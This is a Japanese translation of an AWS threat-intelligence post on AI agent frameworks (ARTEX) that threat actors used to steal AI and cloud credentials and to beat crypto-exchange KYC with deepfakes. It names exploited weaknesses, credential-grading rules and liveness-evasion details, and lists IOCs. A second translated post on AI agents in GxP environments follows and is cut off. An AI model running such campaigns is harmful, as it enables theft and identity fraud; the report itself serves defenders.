本ブログは 2026 年 11 月 13 日に公開された AWS Blog “ Amazon Threat Intelligence observes threat actors running cybercrime campaigns with ARTEX AI agents ” を翻訳したものです。 2026 年 10 月 3 日から 11 月 5 日にかけて、Amazon の MadPot (世界中に分散配置されたおとりの脅威センサーのネットワーク) は、AI エージェントからのリクエストを捕捉しました。このリクエストには、脅威アクターがオープンソースのエージェンティック AI ペネトレーションテストフレームワークである ARTEX 上で実行した攻撃キャンペーンに関するエージェントの運用メモリが含まれていました。ARTEX のエージェントは、広く利用されている大規模言語モデル (LLM) の推論 API に見えるように設定された MadPot センサーにこれらのリクエストを送信しており、リクエストにはエージェント自身によるキャンペーンの記録が含まれていました。 Amazon Threat Intelligence は、影響を受けた可能性のある AWS のお客様に関連する脅威アクティビティを評価し、必要に応じて通知しました。その他の組織に対するアクティビティについては確認が取れなかったため、影響を受ける技術を運用している組織が自社の環境を確認できるよう、本記事では調査結果と侵害指標 (IOC) を共有します。 ARTEX を使用したキャンペーンのうち最も顕著だったのは、AI モデルにアクセスするための認証情報を大規模に窃取するものでした。このキャンペーンは、盗んだキーでさらなる認証情報の探索を支える LLM 推論の費用を賄い、自律的に継続するよう組織されていました。もう 1 つのキャンペーンは、リアルタイムのディープフェイク注入を使用して、暗号資産取引所の本人確認 (KYC) を回避することを狙ったものでした。エージェントの記録を総合すると、エージェンティックフレームワークが実験的な利用の段階から、最小限の人的介入で動作する、持続的で複数の目的を持つ攻撃オペレーションへと進展していることがわかります。本記事では、エージェント自身によるキャンペーンの記述に基づいて、これらのキャンペーンがどのように運用されていたかを説明します。 帰属評価と指示 Amazon Threat Intelligence は、プロンプトで ARTEX のツールが参照されていることや、ARTEX に関連するその他の技術的なアーティファクトが見つかったことから、これらのキャンペーンで ARTEX が使用されたと中程度の確度で評価しています。脅威アクターは、ミッションの目標、標的選定のルール、運用上の制約を定めた常時適用される指示プロンプトによって、ARTEX のエージェントに指示を与えていました。エージェントは、これらの指示の範囲内で、作業そのものを自ら進めていました。ある認証情報窃取キャンペーンでは、オペレーターはエージェントに対し、あらかじめ決められた順序で国ごとに作業を進めること、個人のプロジェクトよりも企業の本番サイトを優先すること、盗んだすべての認証情報を、動作するかどうかとアクセスできる範囲によって格付けすることを指示していました。また、30 日を超えて公開状態にあった認証情報は、価値の低いインベントリとして扱うよう指示されていました。 Amazon Threat Intelligence はまた、プロンプトで簡体字中国語が使用されていること、中国のタイムゾーンが設定されていること、標的の選定が中国の利益に合致していること、主に中国関連の脅威アクターが使用するツールが用いられていることから、これらが複数の異なる中国関連の脅威グループによるものであると中程度の確度で評価しています。サンプルとして確認できた指示には、中国本土の標的や政府ドメインを除外するなどのレッドラインの設定が含まれており、すべてのアウトバウンドトラフィックをプロキシ経由にすることが求められていました。 MadPot はこれらのキャンペーンの内部をどのようにとらえたか MadPot は、潜在的な攻撃者に対して制御されたサービスを提示し、攻撃者がそれらをどのように発見し、テストし、侵害または悪用しようとするかを記録します。MadPot のテレメトリにより、Amazon Threat Intelligence は、お客様のワークロードを危険にさらすことなく攻撃者の行動を観察できます。今回は、MadPot センサーが、さまざまなポートで、広く利用されている LLM 互換のチャット補完インターフェイスを提示していました。エージェンティックフレームワークは、これらのインターフェイスを LLM 推論のバックエンドとして扱い、攻撃ワークフローの一部としてプロンプトを送信していました。 その結果得られたテレメトリには、これらのフレームワークが運用上の判断を下すために通常 LLM へ送信する、永続的なタスクコンテキスト、システムプロンプト、ツールの履歴、ナレッジグラフの状態、報告された調査結果が含まれていました。エージェンティックフレームワークは過去の会話の履歴を保持するため、個々のリクエストにキャンペーンの運用履歴全体が含まれていることがよくあります。その履歴には、捕捉されたリクエストの前や合間に、MadPot が監視していないシステム上で発生したアクティビティが記述されていました。Amazon Threat Intelligence は、そのアクティビティが発生した時点で観察したわけではなく、エージェントが報告した結果を検証することもできません。ただし、これらの記録から、脅威アクターが何を追求していたかがわかります。 アクティビティの大半では、ARTEX を使用して、永続的なナレッジグラフを共有するプランナー、ワーカー、検証担当、圧縮担当の各エージェントに作業を分担させていました。ナレッジグラフはオペレーションの共有メモリとして機能します。すべてのエージェントがそこから読み取り、結果を書き戻すため、各エージェントは他のエージェントが作業を終えたところから続きを進められます。エージェントの記録には、AI アプリケーションプラットフォームやその他のワークロードにまたがる数百の標的に対する、偵察、脆弱性テスト、認証情報の窃取、クラウド権限の拡大、暗号資産詐欺の試行が記述されていました。これらの記録は、脅威アクターがエージェンティック AI フレームワークを使用して、金銭目的の持続的な攻撃オペレーションをどのように組織しているかを示しています。 キャンペーン 1: AI の認証情報を大規模に窃取 このキャンペーンでは、脅威アクターは AI エージェントを使用して、AI モデルへのアクセスを許可する API キーやその他の認証情報を盗んでいました。その目的は、他の誰かに料金を負担させたまま、それらのモデルを利用することだったとみられます。エージェントの記録によると、盗んだキーはフレームワーク自体のモデルゲートウェイに投入され、さらに多くのキーを探すエージェントを動かすために使われていました。AI モデルのアクセスキー以外にも、クラウドの認証情報は、さらなるアクセスへの入り口として扱われていました。エージェントは、各プロバイダーのトークンサービスと ID サービスを通じて ID を検証し、ストレージを列挙し、権限の範囲を評価したうえで、マネージド AI モデルサービス、シークレットストアとパラメータストア、アプリケーションの ID を狙っていました。エージェントは、一般的なクラウド権限よりも、プレミアムクラスのフロンティアモデルへのアクセスを優先していました。 エージェントの記録には、それぞれ異なる AI ゲートウェイ、キー、モデルの使用が残されていましたが、いずれも共通の手法を用いていました。それは、インターネットに公開されている AI アプリケーションを見つけ、そこに保存されているアップストリームプロバイダーのキーを抽出し、それらのキーを検証して、管理対象のプールに保存するというものです。エージェントは、プロバイダーのキーを集約しているアプリケーションに注力していました。脆弱な管理インターフェイスが 1 つあるだけで、多数のダウンストリームアカウントが露出する可能性があるためです。標的には、One API、New API、Veloera、Sub2API、LiteLLM などの LLM ゲートウェイやプロキシプラットフォーム、および Dify、FastGPT、Langflow、RAGFlow、Open WebUI、LobeChat、Ollama などの AI アプリケーションビルダーが含まれていました。体系化された脆弱性プレイブックでは、フィンガープリントで特定した各製品が既知の攻撃チェーンに対応付けられていました。その攻撃チェーンには、乗っ取り可能な未初期化のインストール済み環境、匿名でアクセスできる管理エンドポイントとプロバイダー設定エンドポイント、LiteLLM のデフォルトのマスターキーなどのデフォルトの管理者認証情報、CVE-2025-3248 (Langflow)、CVE-2026-28797 (RAGFlow)、One API ファミリーのシステムにおける isCliRequest ヘッダーによる認証バイパス、URL 取得機能を介したクラウドメタデータサービスへのサーバーサイドリクエストフォージェリ (SSRF)、クライアントサイドの JavaScript、ソースマップ、デバッグルート、環境ファイルに残されたシークレットが含まれていました。 これらのキーを見つけるために、探索にはインターネットスキャンサービス、証明書の透明性 (Certificate Transparency)、公開コードやアーティファクトのソースが利用されていました。具体的には、GitHub のリポジトリとイベントアーカイブ (自動失効の対象外となったシークレットを狙ったもの)、npm と PyPI の tar アーカイブ、コンテナイメージのレイヤー、ノートブック、モデルホスティングスペース、ペーストサイト、Telegram チャネルです。並行して行われていたあるオペレーションでは、あらかじめ決められた順序で国ごとに作業を進め、企業の本番サイトを優先し、すべての認証情報を格付けしていました。L1 は手がかり、L2 は API コールが実際に動作することを確認できたもの、L3 は読み取り可能なデータや使用可能な残高など、影響を定量化できたものです。30 日を超えて公開状態にあったキーは、価値の低いインベントリとして扱われていました。 キャンペーン 2: ディープフェイクによる本人確認の突破 このキャンペーンでは、脅威アクターは AI エージェントを使用して、2 つの暗号資産取引所の KYC をディープフェイクで突破しようとしていました。エージェントの記録によると、ライブのセルフィー確認を通過するためにリアルタイムのディープフェイク動画を生成し、書類確認を通過するために本人確認書類の写真を偽造していました。 記録には、ライブネスチェックに対する綿密な手法が記述されています。ライブネスチェックとは、デジタルシステムを操作している人物が、撮影時にその場にいる実在の生きた人間であることを確認するセキュリティ手法です。エージェントは、あるベンダーのライブネスプロトコルを詳細にリバースエンジニアリングし、そのプロトコルが送信する顔検出のイベントストリーム、確認中に顔の位置を追跡する方法、ユーザーにどこへ動くかを伝えるために使用する座標系を文書化していました。記録された中で最良の試行では、顔を目標位置から 7 ピクセル以内に収めた状態で、動作シーケンス全体を完了していました。それでも、エージェントが記録したすべての試行で、ディープフェイクはベンダーのサーバーサイドでの判定によって拒否されました。並行して、別のセッションでは、オープンソースの顔アニメーションモデルを使用し、1 台のコンシューマーグレードの GPU 上でリアルタイムのディープフェイク動画パイプラインを構築していました。モデルを分割し、GPU 上での不要なメモリコピーを避けることで、ライブ動画確認で期待されるフレームレートに近い毎秒 11.5 フレームを達成しました。 エージェントは本人確認書類にも取り組んでいました。本人確認ベンダーは、書類の写真が編集された形跡や、書類そのものではなく画面を撮影した画像である形跡を探します。これらのチェックを通過するために、エージェントは、画像の寸法が JPEG ファイル内の実際の値と一致する合成カメラメタデータを作成し、編集した画像を再保存すると通常は置き換えられてしまう元のカメラの圧縮テーブルを保持したと記録していました。その結果、ファイルレベルでは未加工のカメラ写真のように見える、改変された画像が作られます。 このキャンペーンは、ARTEX が 1 つの目標に向けて複数のワークストリームをどのように実行するかも示しています。少なくとも 4 つのエージェントセッションが同時に実行されていました。1 つは換金方法を探し、1 つはアカウント残高を空にする作業に取り組み、1 つはディープフェイク動画パイプラインを構築し、1 つは本人確認の回避を実行していました。これらは、セッション間で連携するツールを通じて、調査結果を共有し、タスクを引き継いでいました。 防御側にとっての意味 これらのキャンペーンで使用された手法に、新しいものはありませんでした。AI エージェントが変えるのは、攻撃の速度と継続性です。エージェントは、基本的なセキュリティ対策が欠けている環境で成功を収めていました。具体的には、デフォルトまたはハードコードされた認証情報、コードや公開アーティファクトに残されたキー、認証が設定されていないインターフェイスや推論エンドポイント、パッチが適用されていないソフトウェアなどです。こうした基本的な対策を適切に実施することが、依然として最も効果的な防御です。 攻撃が高速かつ継続的に行われることを踏まえ、組織は、露出したシークレットや設定ミスがすぐに発見されるものと想定し、それに応じて修復する必要があります。また、AI アプリケーション、モデルゲートウェイ、推論エンドポイントを、他の本番システムと同じコントロールの下に置き、予期しない支出や異常な使用状況を手がかりに、AI サービスの不正使用を監視する必要があります。 IOC IOC 値 IOC タイプ 初回観測日 最終観測日 注記 104.28.225[.]223 IPv4 2026-10-17 2026-10-19 キャンペーン 1 31.22.91[.]156 IPv4 2026-10-14 2026-10-19 キャンペーン 1 150.136.38[.]110 IPv4 2026-10-31 2026-10-31 キャンペーン 1 128.242.115[.]131 IPv4 2026-10-31 2026-10-31 キャンペーン 1 216.176.239[.]231 IPv4 2026-11-02 2026-11-02 キャンペーン 1 212.107.28[.]51 IPv4 2026-10-14 2026-10-14 キャンペーン 2 103.142.140[.]158 IPv4 2026-10-17 2026-10-17 キャンペーン 2 104.28.251[.]98 IPv4 2026-10-18 2026-10-18 キャンペーン 2 104.28.251[.]99 IPv4 2026-10-18 2026-10-18 キャンペーン 2 104.28.219[.]97 IPv4 2026-10-18 2026-10-18 キャンペーン 2 125.103.213[.]41 IPv4 2026-10-18 2026-10-19 キャンペーン 2 ご質問がある場合は、 AWS re:Post で新しいスレッドを開始するか、 AWS サポート までお問い合わせください。 CJ Moses CJ Moses は、Amazon Integrated Security の CISO です。この役職で、CJ は Amazon 全体のセキュリティエンジニアリングとオペレーションを統括しています。セキュリティのメリットを享受することが最も負担の少ない選択肢となるようにすることで、Amazon のビジネスを支援することがミッションです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO や、直近では AWS CISO などのさまざまな役職を務めた後、2023 年 9 月に Amazon Integrated Security の CISO に就任しました。 Amazon に入社する前、CJ は米国連邦捜査局 (FBI) のサイバー部門で、コンピュータおよびネットワークへの侵入に関する技術分析を主導していました。また、米国空軍特別捜査局 (AFOSI) で特別捜査官も務めました。CJ は、今日のセキュリティ業界の基礎となったとみなされているコンピュータ侵入の調査をいくつも主導しました。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America の GT2 クラスで活躍する現役のレーシングカードライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本記事は 2025 年 11 月 11 日に公開された “ A guide to building AI agents in GxP environments ” を翻訳したものです。原文の公開後に行われた AWS のアップデートや状況の変化を踏まえ、一部に訳注を加え、本文を訂正しています。 ヘルスケア・ライフサイエンスの組織は、生成 AI エージェントによって創薬、医療機器、患者ケアを変革しつつあります。規制産業では、製品の品質や患者の安全に影響するシステムは、Good Clinical Practice ( GCP ) 、Good Laboratory Practice ( GLP ) 、Good Manufacturing Practice ( GMP ) などの GxP ( Good Practice ) 規制に準拠しなければなりません。組織は、自社の AI エージェントが安全かつ有効で、品質基準を満たしていることを規制当局に示す必要があります。 こうした GxP 環境向けの AI エージェントを構築するには、イノベーション、スピード、規制要件のバランスを取る戦略的なアプローチが欠かせません。 GxP 環境向けの AI エージェントは構築できます。 鍵となるのは、リスクプロファイルに応じて適切に構築する方法を理解することです。生成 AI には、説明可能性、確率的な出力、継続的な学習といった固有の課題があり、一律のバリデーションではなく、よく考えたリスク評価が求められます。従来の GxP コンプライアンスの手法と最新の AI の能力とのずれは、導入の障壁となり、バリデーションのコストを押し上げ、イノベーションの速度を落とし、製品品質と患者ケアにもたらされるはずの効果を限定してしまいます。 GxP コンプライアンスをめぐる規制の状況は、AI 固有の特性に対応するために変化しています。多くの場合に一律のバリデーション戦略を取る従来のコンピュータ化システムバリデーション ( CSV ) のアプローチに加えて、各システムの実際の影響と複雑さに合わせた柔軟なリスクベースのバリデーションを重視する Computer Software Assurance ( CSA ) のフレームワークが用いられるようになっています ( FDA の最新のガイダンス ) ( 訳注：2026 年 11 月時点の補足です。原文はこの箇所で 2019 年の AI/ML に関するディスカッションペーパーを参照していましたが、本記事では CSA の最新のガイダンスにリンクしています。医薬品の開発で AI を使う場合については、FDA が 2025 年 1 月に「 Considerations for the Use of Artificial Intelligence To Support Regulatory Decision-Making for Drug and Biological Products 」のドラフトガイダンスを公表しています。欧州では、2025 年 7 月に EU GMP の Annex 11 ( コンピュータ化システム ) の改訂案と、AI を対象とする新しい Annex 22 の案が 公表 されました。Annex 22 の案は、生成 AI や大規模言語モデルのような確率的なモデルを重要な GMP 用途には使わないとしていました。欧州医薬品庁 ( EMA ) は、ガードレールなどの統制を前提とした使い方について、2026 年 6 月に 専門家のワークショップ を開いて検討しています。 ) 。 本記事では、リスクベースの実装、リスクレベルごとの実装上の考慮事項、コンプライアンスにおける AWS の責任共有モデル、リスク低減策の具体例を紹介します。 リスクベースの実装フレームワーク エージェント型 AI システムで GxP コンプライアンスを効果的に確保するには、技術的な特徴だけでなく、運用の文脈に基づいてリスクを評価する必要があります。リスクの分類にあたり、 FDA の CSA ガイダンス ( 訳注：原文の公開時点ではドラフトでしたが、2025 年 9 月 24 日に最終版が発行され、2026 年 2 月 2 日に改訂版に置き換わっています ) は、意図した用途を、想定される危害の重大度、発生の確率、不具合の検出可能性という 3 つの観点で評価することを推奨しています。 図 1 に示すように、この評価モデルは、従来の運用上の役割と、最新のリスクベースのレベルを組み合わせたものです。組織は、AI エージェントがワークフローの中でどのように機能し、規制対象のプロセスにどのような影響を与えうるかを評価する必要があります。 図 1. AI エージェントの GxP コンプライアンスは、従来の役割ベースの評価と、CSA による最新のリスクベースのレベルを組み合わせる 同じ AI エージェントの機能でも、どのようにデプロイするかによって、適切なバリデーションの方法は大きく変わります。エージェント型 AI は既存の GxP プロセスの中でどのように利用されるのか。人による監督やヒューマンインザループの統制はどの程度か。AI エージェントそのものを追加の統制として組み込むのか。AI の不具合が製品品質、データインテグリティ、患者の安全に与えうる影響はどの程度か、といった点を考える必要があります。 科学文献のレビューを行う AI エージェントを例に考えます。社内のチームミーティング向けに文献の要約を作る用途であれば 低リスク で、必要な統制は最小限です。研究者がその知見を研究の方向付けに使う場合は 中リスク となり、人によるレビューのチェックポイントのような体系立った統制が必要になります。医薬品の承認申請を支援する場合は、出力が規制上の判断と患者の安全に直接影響するため 高リスクとなり、包括的な統制が必要 です。 このリスクベースの方法論により、組織はすべての AI の実装に一律の統制を適用するのではなく、実際のリスクレベルに合わせてバリデーションの労力を調整し、イノベーションとコンプライアンスを両立できます。 実装上の考慮事項 AI エージェントの設計を成功させるには、品質と安全のために、リスクレベルにかかわらず一貫して適用する共通の統制が必要です。組織は、AI の判断を明確に記録し、データが改ざんされていないことを証明し、必要なときに結果を再現し、システムの更新を安全に管理する必要があります。AWS は、適格性が確認されたインフラストラクチャと、ISO、SOC、NIST などのさまざまなコンプライアンス認証によって、これらの要件を支援します。より詳しい一覧は ヘルスケア・ライフサイエンスのコンプライアンス のページをご覧ください。Amazon Bedrock AgentCore のコンプライアンス検証の詳細は、 コンプライアンスに関するドキュメント にまとめられています。これらの統制を効果的に実装するために、組織は AI リスクに関する指針として米国国立標準技術研究所 ( NIST ) の AI Risk Management Framework を、データインテグリティの確保には ALCOA+ 原則を参照できます。 責任共有モデル GxP 環境で生成 AI をクラウドに実装するには、 責任共有モデル に示されたお客様と AWS の責任分担を理解しておく必要があります。分担を理解することで、組織は効果的でコンプライアンスに沿ったソリューションの提供に集中できます。 AWS は AWS クラウドで提供するサービスを実行するインフラストラクチャの保護を支援します。そのうえで、表 1 では、お客様がエージェント型 AI システムのバリデーションを行う際に AWS がどのように支援できるかを具体例で示します。 観点 お客様の責任 AWS による支援 バリデーション戦略 GxP コンプライアンスのために AWS のサービスを使い、リスクに応じたバリデーションのアプローチを設計する。意図した用途に基づいて受け入れ基準とバリデーションのプロトコルを定める。 Amazon Bedrock の ISO 27001、SOC 1/2/3、FedRAMP、GDPR/HIPAA 適格性などのコンプライアンス統制を AWS のサービスから継承できます。AWS Skill Builder の人工知能と機械学習 ( AI/ML ) のコースや AWS Certified Machine Learning Engineer – Associate や AWS Certified Generative AI Developer – Professional で、GxP のトレーニング要件を満たす支援をします。AWS CloudFormation による Infrastructure as Code を使って、オンデマンドのバリデーションとデプロイを行い、エージェント型ワークロードの IQ を繰り返し実施できるようにします。 GxP の手順 AWS の機能を既存の品質マネジメントシステムと統合する標準作業手順書 ( SOP ) を作成する。システムの運用と保守の手順を文書化する。 規制の厳しいワークロードに合わせて設計された HCLS 向けランディングゾーンで GxP のエージェント型システムを構築でき、標準手順の要件を補強し支援します。複雑な多段階のタスクについて、エンドツーエンドの可視性とランタイムの要件を支援する Amazon Bedrock AgentCore で、リスク管理の手順を補強します。AWS Certified CloudOps Engineer – Associate や AWS Certified DevOps Engineer の認定をトレーニング要件に活用し、チームが AWS 上で手順のコンプライアンスを運用し統制できるようにします。 ユーザー管理 GxP のユーザーアクセス要件に沿って IAM のロールと権限を設定する。ユーザーアクセスの文書とトレーニングの記録を維持する。 AWS IAM と Amazon Bedrock AgentCore Identity で AI エージェントのアクセスを保護し、きめ細かな権限設定とエンタープライズの ID 基盤との統合を実現します。AWS IAM Identity Center で従業員のユーザーアクセスを効率化します。 パフォーマンスの基準 生成 AI アプリケーションの受け入れ基準と監視のしきい値を定める。パフォーマンス監視のプロトコルを定める。 一貫した性能を保証する必要があるエージェント型ワークフローには、Amazon Bedrock のプロビジョンドスループットを利用できます。Amazon Bedrock AgentCore Observability と Amazon CloudWatch のカスタマイズ可能なアラートとダッシュボードで、エンドツーエンドの可視性を持ってパフォーマンスを監視します。 文書化 AWS のサービスがどのように GxP コンプライアンスを支えるかを示すバリデーション文書を作成する。品質システムの記録を維持する。 AWS Config の HIPAA、21 CFR Part 11、GxP EU Annex 11 向けのコンフォーマンスパックを使い、エージェント型のデプロイのコンプライアンスレポートの作成を支援します。GxP のデータは Amazon Simple Storage Service ( Amazon S3 ) に保存できます。Amazon S3 は、エンタープライズグレードの 99.999999999% ( イレブンナイン ) の耐久性を備え、バージョニングとユーザー定義の保持ポリシーに対応しています。 来歴 バリデーション済みのスナップショットを維持しながら、モデルのバージョンを監視する。プロンプトテンプレートをバージョン管理して AI とのやり取りの一貫性を保ち、変更を追跡し、監査証跡の記録を維持する。バリデーション済みの環境でツールの依存関係を固定する。 Amazon Bedrock の設定可能なデータレジデンシーと変更されないモデルのバージョニングで、モデルとデータを管理します。AWS Config は構成の追跡とバリデーションを自動で行います。AWS CloudTrail は包括的な監査ログを取得します。AWS CodePipeline、AWS CodeCommit、Amazon Bedrock のモデルのバージョニングを使って、AI の挙動を再現できるようにデプロイします。 表 1. エージェント型 AI システムのバリデーションにおけるお客様の責任と AWS による支援 AI エージェントを構築する際に、お客様が実装する必要があるものと AWS が提供するものの例を 図 2 に示します。 図 2. GxP 環境で生成 AI を実装するには、お客様と AWS の責任分担を理解する必要がある ここからは、こうした責任共有が実際の実装にどのように反映されるかを示します。 来歴と再現性 AWS は次の形で支援します。 Amazon Bedrock ：変更されないモデルのバージョニングを提供し、システムのライフサイクル全体で AI の挙動を再現できるようにします。 AWS Config ：システムの構成を自動で追跡して検証し、バリデーション済みのベースラインからのドリフトを継続的に監視します。 AWS CloudTrail ：暗号学的な完全性を備えた監査証跡を生成し、タイムスタンプ、ユーザー ID、モデルのバージョンを含む完全なメタデータとともにモデルの呼び出しを記録します。 AWS CloudFormation による Infrastructure as Code で、バージョン管理された再現可能なデプロイが行えます。 お客様の責任：組織は、インフラストラクチャのデプロイとプロンプトテンプレートをバージョン管理して AI の挙動の一貫性を保ち、プロンプトの変更の監査証跡を維持する必要があります。バリデーション済みの環境では、AI の出力に影響しうる意図しない更新を防ぐために、ツールの依存関係を追跡し、特定のバージョンに固定する必要があります。 オブザーバビリティとパフォーマンスのメトリクス AWS は次の形で支援します。 Amazon Bedrock AgentCore ：複雑な多段階のエージェントのタスクに対するエンドツーエンドの可視性や、推論の連鎖をオーケストレーションするためのランタイムの要件など、エージェント型 AI がもたらす固有のリスクに対応する包括的なソリューションを提供します。Amazon Bedrock AgentCore Observability は、判断とツールの呼び出しの連鎖をすべて記録するので、エージェントの実行経路を調べ、中間の出力を監査し、失敗の原因を調べられます。 Amazon Bedrock Knowledge Bases の Retrieve API を使うと、取得したドキュメントから AI が生成した出力までをトレースできます。 Amazon CloudWatch ：カスタマイズ可能なアラートとダッシュボードによるリアルタイムの監視を提供し、エージェントの呼び出し全体のパフォーマンスのメトリクスを集約します。組織はリスクに応じてログのレベルを設定できます。例えば、低リスクのアプリケーションには基本的な CloudTrail のログ、中リスクには詳細な AgentCore のトレース、高リスクの承認申請には完全な来歴の連鎖を記録します。 お客様の責任：組織は、リスクレベルに見合った受け入れ基準と監視のしきい値を定めます。先ほどの文献レビューのエージェントであれば、引用の正確さに関する要件がその例です。チームは、AI の推奨が研究の判断や承認申請に影響する前に専門家のレビューを必須とするなど、どのような場合にヒューマンインザループを発動するかを決める必要があります。 ユーザー管理、セッションの分離、セキュリティ AWS は次の形で支援します。 Amazon Bedrock AgentCore：専用の microVM によるセッションの分離を提供し、異なるプロジェクトや承認申請のあいだでデータが混ざるのを防ぎます。VPC エンドポイントに対応しており、Amazon VPC と Amazon Bedrock AgentCore のリソースのあいだにプライベートな接続を確立して、ネットワーク間のトラフィックのプライバシーを保てます。Amazon Bedrock AgentCore のエンドポイントとの通信は、サポートされるすべてのリージョンで HTTPS のみを使い、HTTP には対応していないため、すべての通信に認証と完全性のためのデジタル署名が付きます。 Amazon Bedrock AgentCore は、すべての API エンドポイントで TLS 1.2 以上 ( TLS 1.3 を推奨 ) を必須とする強固な暗号化の基準を維持しています。コントロールプレーンとデータプレーンのトラフィックはいずれも TLS で暗号化され、TLS 1.2 以上に制限されており、暗号化されていない通信は許可されません。Amazon Bedrock AgentCore Identity は、認証情報を管理する安全なトークン保管庫によって ID 管理の複雑さに対処し、きめ細かな権限設定とエンタープライズの ID 基盤との統合を提供します。 AWS Identity and Access Management ( IAM ) を使うと、組織は最小権限の原則に基づくロールベースのアクセス制御を設定できます。組み込みの暗号化により、転送中と保存時の両方でデータを保護できます。ネットワークの分離とコンプライアンス認証 ( SOC、ISO 27001、HIPAA ) は規制要件への対応を支えます。Amazon Bedrock は設定可能なデータレジデンシーを提供しており、組織はデータを処理するリージョンを指定できます。 お客様の責任：組織は、GxP のユーザーアクセス要件に沿って IAM のロールとポリシーを設定し、最小権限のアクセスと適切な職務分離を実現します。アクセス制御は、品質マネジメントシステムの一部として文書化し、維持する必要があります。 AI エージェントのための GxP の統制 AI エージェントに対する GxP のリスク統制の実装は、3 つの主要なフェーズで考えられます。 リスク評価 のフェーズでは、GxP のワークロードを組織のリスクベースのバリデーションのフレームワークに照らして評価します。品質保証は、リアルタイムの検証 ( 後述の継続的バリデーションを参照 ) から半年ごとのレビューまで、体系立てたフィードバックループによって継続的に維持します。このプロセスにより、レビュー担当者は変化し続ける AI の状況に合わせてトレーニングを受け、ユーザーのフィードバックに対応し、適切な介入の基準を適用できます。実際には、リスク評価によってリスクのカテゴリと再評価のきっかけを定めます。 統制の選定 のフェーズでは、1. リスクの分類、2. 具体的な設計上の属性、3. AI エージェントの運用の文脈に基づいて、最低限必要な統制を慎重に選びます。対象を絞りリスクに合わせたこのアプローチにより、統制を技術的な要件とコンプライアンスの目的の両方に合わせられます。実際には、リスクのカテゴリによって必須の統制と選択できる統制が決まります。例えば、中リスクでは「エージェントとプロンプトのガバナンス」の統制に加えて発見的統制を 2 つ以上、高リスクでは「従来型のテスト ( IQ、OQ、PQ ) 」の統制に加えて是正的統制を 2 つ必要とする、といった形です。 継続的バリデーション は、従来の「意図した用途への適合性」のバリデーションに加えて、運用ログやユーザーのフィードバックなどのリアルワールドデータ ( RWD ) を活用し、システムがバリデーション済みの状態を維持していることを示す補足的なリアルワールドエビデンス ( RWE ) を作るその後のプロセスを含むアプローチです。継続的バリデーションのアプローチは、それ自体が統制の仕組みとして、SaaS モデル、モデルのドリフト、変化し続けるクラウドのインフラストラクチャなど、最新のクラウドベースの設計への対応に役立ちます。パフォーマンスと機能を継続的に監視することで、システムの GxP コンプライアンスを維持し、規制当局の査察への対応も支えます。実際には、低リスクのカテゴリではユーザーの問題の傾向を追跡するコンプライアンスに沿ったユーザーポータル、高リスクのシステムではコンプライアンスレポートを伴う定期的なセルフテストの組み込み、といった形になります。 次の表は、最新の GxP バリデーションのフレームワークに組み込める、エージェント型 AI システム向けの予防的統制、発見的統制、是正的統制の例です。 統制の要素 支援する AWS のサービス 予防的統制 エージェントの挙動の仕様化 Amazon Bedrock のモデルカタログで要件を満たすモデルを探し、AWS のサービスクォータ ( 制限 ) とサービスの機能に関するドキュメントを使って、サポートされ検証可能なエージェントの機能を定義します。 脅威モデリング AWS Well-Architected Framework ( セキュリティの柱 ) のツールと AWS のサービスのセキュリティに関するドキュメントを使って、プロンプトインジェクション、データポイズニング、モデル反転のような AI 固有の脅威を事前に特定し、AWS のサービスを使った予防的な緩和策の設計に役立てます。 応答の内容と関連性の統制 Amazon Bedrock Guardrails を使って大規模言語モデル ( LLM ) 向けのリアルタイムの安全ポリシーを実装し、有害な入力や応答を拒否します。ガードレールでは拒否リストの定義や個人を特定できる情報 ( PII ) のフィルタリングもできます。RAG に Amazon Bedrock Knowledge Bases や AWS の専用ベクトルデータベースを使い、管理された最新の関連情報を提供して、事実からのずれを防ぎます。 データセットのバイアスの緩和 Amazon SageMaker Clarify は、データセットに対して学習前のバイアス分析を行うツールを提供します。エージェントの場合、基礎となるデータが偏った判断の経路やツールの使い方につながらないことを確かめるのに役立ちます。 エージェントとプロンプトのガバナンス Amazon Bedrock の Prompt Management の機能は、作成、評価、バージョン管理、最適化を含むライフサイクルのプロセスを支援します。高度なプロンプトテンプレート、コンテンツフィルター、自動推論チェックにも対応しており、より安全で管理されたエージェント型ワークフローを構築できます。 構成管理 AWS は、AWS Config など業界をリードする構成管理のサービスを提供しており、エージェント型の GxP システムの構成を継続的に検証できます。Amazon SageMaker Model Registry は、学習済みの機械学習 ( ML ) モデルを管理しバージョン管理して、統制されたデプロイを可能にします。 セキュアな AI 開発 Kiro は、セキュリティのベストプラクティスと AWS Well-Architected の原則を取り入れた AI によるコーディング支援を提供し、エージェント型ワークロードを最初から安全に構築し維持できるようにします。 二次的統制としての AI エージェント Amazon Bedrock AgentCore と自社のデータを使い、既存の GxP ワークフローに AI エージェントを二次的な予防的統制として素早く組み込みます。予防的なワークフローのイベントを発生させる傾向分析、自動点検、システムフローの分析などの機能を追加できます。 発見的統制 従来型のテスト ( IQ、OQ、PQ ) AWS Config と AWS CloudFormation でリソースのデプロイ構成を追跡し、IQ のバリデーションに使います。AWS CloudTrail と Amazon CloudWatch でイベント、メトリクス、ログのテスト結果を取得し、OQ/PQ のバリデーションに使います。 説明可能性の監査と軌跡のレビュー Amazon SageMaker Clarify は、カスタムモデルの説明可能性のレポートを生成します。Amazon Bedrock の呼び出しログを使うと、推論の過程 ( chain of thought ) をレビューして、エージェントのロジックの欠陥を見つけられます。Amazon Bedrock AgentCore Observability で、エージェントの呼び出しのセッション、トレース、スパンを確認します。 モデルと入出力のドリフトの検出 カスタムモデルでは、Amazon SageMaker Model Monitor でデータとモデルの品質のドリフトを検出できます。商用の LLM を使う AI エージェントでは、Amazon Bedrock AgentCore の Observability の機能で入力 ( プロンプト ) と出力 ( 応答 ) の監視を設計し、コンセプトドリフトを検出します。Amazon CloudWatch のアラームでコンプライアンスの通知を管理します。 パフォーマンスの監視 エージェント型ワークロードでは、Amazon Bedrock のメトリクス、AgentCore Observability、Amazon CloudWatch のメトリクスを使って、トークンの使用量、やり取りあたりのコスト、ツールの実行のレイテンシーを監視し、パフォーマンスとコストの異常を検出できます。 ログとイベントの監視 ( SIEM ) エージェント型ワークロードに対しては、Amazon GuardDuty が Amazon Bedrock の API コールを分析するインテリジェントな脅威検出を提供し、エージェントや LLM の異常な利用や悪意のある可能性がある利用を検出します。 コードとモデルのリスクスキャン Amazon Inspector は、エージェントのコードと運用環境の脆弱性をスキャンします。Amazon Inspector はモデルの重みのリスクを評価するものではありませんが、AWS は Amazon SageMaker Model Cards 